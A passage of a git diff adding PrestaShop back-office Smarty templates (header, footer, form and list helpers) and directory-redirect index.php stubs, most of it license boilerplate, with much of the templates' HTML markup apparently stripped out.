DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
 
+ +
 
+ +{if $display_footer} +{hook h="displayBackOfficeFooter"} + + + + +{* ajaxBox allows*} +{/if} +
+ + \ No newline at end of file diff --git a/BO/themes/default/template/form_submit_ajax.tpl b/BO/themes/default/template/form_submit_ajax.tpl new file mode 100755 index 0000000..d03d5b2 --- /dev/null +++ b/BO/themes/default/template/form_submit_ajax.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + diff --git a/BO/themes/default/template/header.tpl b/BO/themes/default/template/header.tpl new file mode 100755 index 0000000..dc80e88 --- /dev/null +++ b/BO/themes/default/template/header.tpl @@ -0,0 +1,228 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + + + + + {$meta_title} - PrestaShop™ +{if $display_header} + +{/if} + +{if isset($css_files)} + {foreach from=$css_files key=css_uri item=media} + + {/foreach} +{/if} +{if isset($js_files)} + {foreach from=$js_files item=js_uri} + + {/foreach} +{/if} + + +{if isset($displayBackOfficeHeader)} + {$displayBackOfficeHeader} +{/if} + +{if isset($brightness)} + +{/if} + + +{if $display_header} +
{l s='Loading...'}
+
0}style="margin:auto;width:{$bo_width}px"{/if}> +
+{* begin HEADER *} + {* end header*} +{/if} +
+
+{if $display_header && $install_dir_exists} +
+ {l s='For security reasons, you must also:'} {l s='delete the /install folder'} +
+{/if} +{if $display_header && $is_multishop && $shop_list && ($multishop_context & Shop::CONTEXT_GROUP || $multishop_context & Shop::CONTEXT_SHOP)} +
+ {l s='Multistore configuration for'} {$shop_list} +
+{/if} \ No newline at end of file diff --git a/BO/themes/default/template/helpers/form/assoshop.tpl b/BO/themes/default/template/helpers/form/assoshop.tpl new file mode 100755 index 0000000..fc76148 --- /dev/null +++ b/BO/themes/default/template/helpers/form/assoshop.tpl @@ -0,0 +1,132 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +
+ + + + + + + + {foreach $input.values as $groupID => $groupData} + {assign var=groupChecked value=false} + + + + + {if $input.type == 'shop'} + {assign var=j value=0} + {foreach $groupData['shops'] as $shopID => $shopData} + {if (isset($fields_value.shop[$shopID]))} + {assign var=checked value=true} + {else} + {assign var=checked value=false} + {/if} + + + + {assign var=j value=$j+1} + {/foreach} + {/if} + {/foreach} +
{l s='Shop'}
+ +
+ + +
+ + +
+
\ No newline at end of file diff --git a/BO/themes/default/template/helpers/form/form.tpl b/BO/themes/default/template/helpers/form/form.tpl new file mode 100755 index 0000000..8cd197a --- /dev/null +++ b/BO/themes/default/template/helpers/form/form.tpl @@ -0,0 +1,448 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+{/if} + +{if isset($fields.title)}

{$fields.title}

{/if} +{block name="defaultForm"} +
+ {if $form_id} + + {/if} + {foreach $fields as $f => $fieldset} +
+ {foreach $fieldset.form as $key => $field} + {if $key == 'legend'} + + {if isset($field.image)}{$field.title|escape:'htmlall':'UTF-8'}{/if} + {$field.title} + + {elseif $key == 'description' && $field} +

{$field}

+ {elseif $key == 'input'} + {foreach $field as $input} + {if $input.type == 'hidden'} + + {else} + {if $input.name == 'id_state'} +
+ {/if} + {block name="label"} + {if isset($input.label)}{/if} + {/block} + {block name="field"} +
+ {block name="input"} + {if $input.type == 'text' || $input.type == 'tags'} + {if isset($input.lang) AND $input.lang} +
+ {foreach $languages as $language} +
+ {if $input.type == 'tags'} + {literal} + + {/literal} + {/if} + {assign var='value_text' value=$fields_value[$input.name][$language.id_lang]} + + {if !empty($input.hint)}{$input.hint} {/if} +
+ {/foreach} +
+ {else} + {if $input.type == 'tags'} + {literal} + + {/literal} + {/if} + {assign var='value_text' value=$fields_value[$input.name]} + + {if isset($input.suffix)}{$input.suffix}{/if} + {if !empty($input.hint)}{$input.hint} {/if} + {/if} + {elseif $input.type == 'select'} + {if isset($input.options.query) && !$input.options.query && isset($input.empty_message)} + {$input.empty_message} + {$input.required = false} + {$input.desc = null} + {else} + + {if !empty($input.hint)}{$input.hint} {/if} + {/if} + {elseif $input.type == 'radio'} + {foreach $input.values as $value} + + + {if isset($input.br) && $input.br}
{/if} + {if isset($value.p) && $value.p}

{$value.p}

{/if} + {/foreach} + {elseif $input.type == 'textarea'} + {if isset($input.lang) AND $input.lang} +
+ {foreach $languages as $language} +
+ +
+ {/foreach} +
+ {else} + + {/if} + {elseif $input.type == 'checkbox'} + {foreach $input.values.query as $value} + {assign var=id_checkbox value=$input.name|cat:'_'|cat:$value[$input.values.id]} + +
+ {/foreach} + {elseif $input.type == 'file'} + {if isset($input.display_image) && $input.display_image} + {if isset($fields_value.image) && $fields_value.image} +
+ {$input.image} +

{l s='File size'} : {$input.size}kb

+ + {l s='Delete'} {l s='Delete'} + +

+ {/if} + {/if} + + {if !empty($input.hint)}{$input.hint} {/if} + {elseif $input.type == 'password'} + + {elseif $input.type == 'birthday'} + {foreach $input.options as $key => $select} + + {/foreach} + {elseif $input.type == 'group'} + {assign var=groups value=$input.values} + {include file='helpers/form/form_group.tpl'} + {elseif $input.type == 'shop'} + {$input.html} + {elseif $input.type == 'categories'} + {include file='helpers/form/form_category.tpl' categories=$input.values} + {elseif $input.type == 'categories_select'} + {$input.category_tree} + {elseif $input.type == 'asso_shop' && isset($asso_shop) && $asso_shop} + {$asso_shop} + {elseif $input.type == 'color'} + + {elseif $input.type == 'date'} + + {elseif $input.type == 'free'} + {$fields_value[$input.name]} + {/if} + {if isset($input.required) && $input.required && $input.type != 'radio'} *{/if} + {/block}{* end block input *} + {block name="description"} + {if isset($input.desc) && !empty($input.desc)} +

+ {if is_array($input.desc)} + {foreach $input.desc as $p} + {if is_array($p)} + {$p.text}
+ {else} + {$p}
+ {/if} + {/foreach} + {else} + {$input.desc} + {/if} +

+ {/if} + {/block} + {if isset($input.lang) && isset($languages)}
{/if} +
+
+ {/block}{* end block field *} + {if $input.name == 'id_state'} +
+ {/if} + {/if} + {/foreach} + {hook h='displayAdminForm'} + {if isset($name_controller)} + {capture name=hookName assign=hookName}display{$name_controller|ucfirst}Form{/capture} + {hook h=$hookName} + {elseif isset($smarty.get.controller)} + {capture name=hookName assign=hookName}display{$smarty.get.controller|ucfirst|htmlentities}Form{/capture} + {hook h=$hookName} + {/if} + {elseif $key == 'submit'} +
+ +
+ {elseif $key == 'desc'} +

+ {if is_array($field)} + {foreach $field as $k => $p} + {if is_array($p)} + {$p.text}
+ {else} + {$p} + {if isset($field[$k+1])}
{/if} + {/if} + {/foreach} + {else} + {$field} + {/if} +

+ {/if} + {block name="other_input"}{/block} + {/foreach} + {if $required_fields} +
* {l s='Required field'}
+ {/if} +
+ {block name="other_fieldsets"}{/block} + {if isset($fields[$f+1])}
{/if} + {/foreach} +
+{/block} +{block name="after"}{/block} + +{if isset($tinymce) && $tinymce} + +{/if} +{if $firstCall} + +{/if} diff --git a/BO/themes/default/template/helpers/form/form_category.tpl b/BO/themes/default/template/helpers/form/form_category.tpl new file mode 100755 index 0000000..b2a7f6a --- /dev/null +++ b/BO/themes/default/template/helpers/form/form_category.tpl @@ -0,0 +1,100 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if count($categories) && isset($categories)} + + +
+ {$categories.trads['Collapse All']} + | + {$categories.trads['Expand All']} + {if !$categories.use_radio} + | + {$categories.trads['Check All']} + | + {$categories.trads['Uncheck All']} + {/if} + {if $categories.use_search} + + {$categories.trads.search} : +
+ +
+
+ {/if} +
+ + {assign var=home_is_selected value=false} + + {foreach $categories.selected_cat AS $cat} + {if is_array($cat)} + {if $cat.id_category != $categories.trads.Root.id_category} + + {else} + {assign var=home_is_selected value=true} + {/if} + {else} + {if $cat != $categories.trads.Root.id_category} + + {else} + {assign var=home_is_selected value=true} + {/if} + {/if} + {/foreach} +
    +
  • + + {if $categories.top_category->id != $categories.trads.Root.id_category} + + {$categories.trads.Root.name} + {else} +   + {/if} + +
      +
    •  
    • +
    +
  • +
+ {if $categories.use_radio} + + {/if} +{/if} diff --git a/BO/themes/default/template/helpers/form/form_group.tpl b/BO/themes/default/template/helpers/form/form_group.tpl new file mode 100755 index 0000000..7fdef65 --- /dev/null +++ b/BO/themes/default/template/helpers/form/form_group.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if count($groups) && isset($groups)} + + + + + + + {foreach $groups as $key => $group} + + + + + + {/foreach} +
+ + {l s='ID'}{l s='Group name'}
+ {assign var=id_checkbox value=groupBox|cat:'_'|cat:$group['id_group']} + + {$group['id_group']}
+{else} +

{l s='No group created'}

+{/if} \ No newline at end of file diff --git a/BO/themes/default/template/helpers/form/index.php b/BO/themes/default/template/helpers/form/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/helpers/help_access/button.tpl b/BO/themes/default/template/helpers/help_access/button.tpl new file mode 100755 index 0000000..9c7da2c --- /dev/null +++ b/BO/themes/default/template/helpers/help_access/button.tpl @@ -0,0 +1,15 @@ + diff --git a/BO/themes/default/template/helpers/help_access/index.php b/BO/themes/default/template/helpers/help_access/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/helpers/help_access/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/helpers/index.php b/BO/themes/default/template/helpers/index.php new file mode 100755 index 0000000..ca24fa5 --- /dev/null +++ b/BO/themes/default/template/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/index.php b/BO/themes/default/template/helpers/list/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list.tpl b/BO/themes/default/template/helpers/list/list.tpl new file mode 100755 index 0000000..2913c5b --- /dev/null +++ b/BO/themes/default/template/helpers/list/list.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{$header} +{$content} +{$footer} diff --git a/BO/themes/default/template/helpers/list/list_action_addstock.tpl b/BO/themes/default/template/helpers/list/list_action_addstock.tpl new file mode 100755 index 0000000..71fa41c --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_addstock.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_default.tpl b/BO/themes/default/template/helpers/list/list_action_default.tpl new file mode 100755 index 0000000..65e8e4e --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_default.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_action_delete.tpl b/BO/themes/default/template/helpers/list/list_action_delete.tpl new file mode 100755 index 0000000..d6edb4f --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_delete.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_action_details.tpl b/BO/themes/default/template/helpers/list/list_action_details.tpl new file mode 100755 index 0000000..ddf25ad --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_details.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_duplicate.tpl b/BO/themes/default/template/helpers/list/list_action_duplicate.tpl new file mode 100755 index 0000000..1933226 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_duplicate.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_action_edit.tpl b/BO/themes/default/template/helpers/list/list_action_edit.tpl new file mode 100755 index 0000000..db27e6e --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_edit.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_action_enable.tpl b/BO/themes/default/template/helpers/list/list_action_enable.tpl new file mode 100755 index 0000000..4abc4a2 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_enable.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + {if $enabled}{l s='Enabled'}{else}{l s='Disabled'}{/if} + diff --git a/BO/themes/default/template/helpers/list/list_action_removestock.tpl b/BO/themes/default/template/helpers/list/list_action_removestock.tpl new file mode 100755 index 0000000..77fd920 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_removestock.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_supplier_order_receipt.tpl b/BO/themes/default/template/helpers/list/list_action_supplier_order_receipt.tpl new file mode 100755 index 0000000..0080278 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_supplier_order_receipt.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_supply_order_change_state.tpl b/BO/themes/default/template/helpers/list/list_action_supply_order_change_state.tpl new file mode 100755 index 0000000..0c93ac7 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_supply_order_change_state.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/helpers/list/list_action_supply_order_create_from_template.tpl b/BO/themes/default/template/helpers/list/list_action_supply_order_create_from_template.tpl new file mode 100755 index 0000000..4ae4c7f --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_supply_order_create_from_template.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + diff --git a/BO/themes/default/template/helpers/list/list_action_supply_order_receipt.tpl b/BO/themes/default/template/helpers/list/list_action_supply_order_receipt.tpl new file mode 100755 index 0000000..0080278 --- /dev/null +++ b/BO/themes/default/template/helpers/list/list_action_supply_order_receipt.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free 